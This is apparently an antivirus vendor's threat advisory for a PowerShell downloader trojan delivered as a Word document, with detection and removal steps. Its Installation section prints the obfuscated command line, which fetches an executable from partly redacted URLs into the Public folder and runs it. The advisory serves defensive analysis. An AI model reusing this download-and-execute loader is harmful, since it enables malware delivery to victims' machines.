Trojan.PS1.POWLOAD.TIAOENU

April 12, 2023
 Analysis by: Kyle Philippe Yu
 ALIASES:

VBA/Agent.FPV!tr.dldr (FORTINET)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

99,328 bytes

File Type:

DOC

Memory Resident:

No

Initial Samples Received Date:

28 Mar 2023

Payload:

Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • %System%\cmd.exe'{Encrypted Commands} & %COMSPEC% /V /C SET %{15 Random Characters}%={15 Random Characters}&&SET %{15 Random Characters}%=OWERS&&SET %{15 Random Characters}%={15 Random Characters}&&SET %{15 Random Characters}%=P&&SET %{15 Random Characters}%={15 Random Characters}&&SET %{15 Random Characters}%=^HE^L^L&&SET %{15 Random Characters}%={15 Random Characters}&&!%{15 Random Characters}%!!%{15 Random Characters}%!!%{15 Random Characters}%! &($VERBOSEPREFERENCE.TOSTRING()[1,3]+'X'-JOIN')' )(('. ((VARIABLE *MDR*).NAME[3,11,2]-JOIN) ( ( (($FRANC = NEW-OBJECT SYSTEM.NET.WEBCLIENT;$NSADASD = NEW-OBJECT RANDOM;$BCD = HTTP://{BLOCKED}SOFT.PL/WEF346645,HTTP://{BLOCKED}HINENOW.COM/WEF346645,HTTP://{BLOCKED}RSTVI-BEZDEKA.CZ/WEF346645,HTTP://{BLOCKED}OY.COM/WEF346645.SPLIT(,HA6);$KARAPAS = $NSADASD.NEXT(1, 343245);$HUAS = $ENV:PUBLIC \ $KARAPAS .EXE;FOREACH($ABC IN $BCD){TRY{$FRANC.DOWNLOADFILE($ABC.TOSTRING(), $HUAS);INVOKE-ITEM($HUAS);BREAK;}CATCH{WRITE-HOST $_.EXCEPTION.MESSAGE;}})

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}xmmart-soft.pl/wef346645
  • http://{BLOCKED}hinenow.com/wef346645
  • http://{BLOCKED}rstvi-bezdeka8rabm6.cz/wef346645
  • http://{BLOCKED}fericajoy.com/wef346645

It saves the files it downloads using the following names:

  • %Public%\{6 Random Digits}.exe

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

Other Details

However, as of this writing, the said sites are inaccessible.

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

18.362.04

FIRST VSAPI PATTERN DATE:

04 Apr 2023

VSAPI OPR PATTERN File:

18.363.00

VSAPI OPR PATTERN Date:

05 Apr 2023

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Public%\{6 Random Digits}.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.PS1.POWLOAD.TIAOENU. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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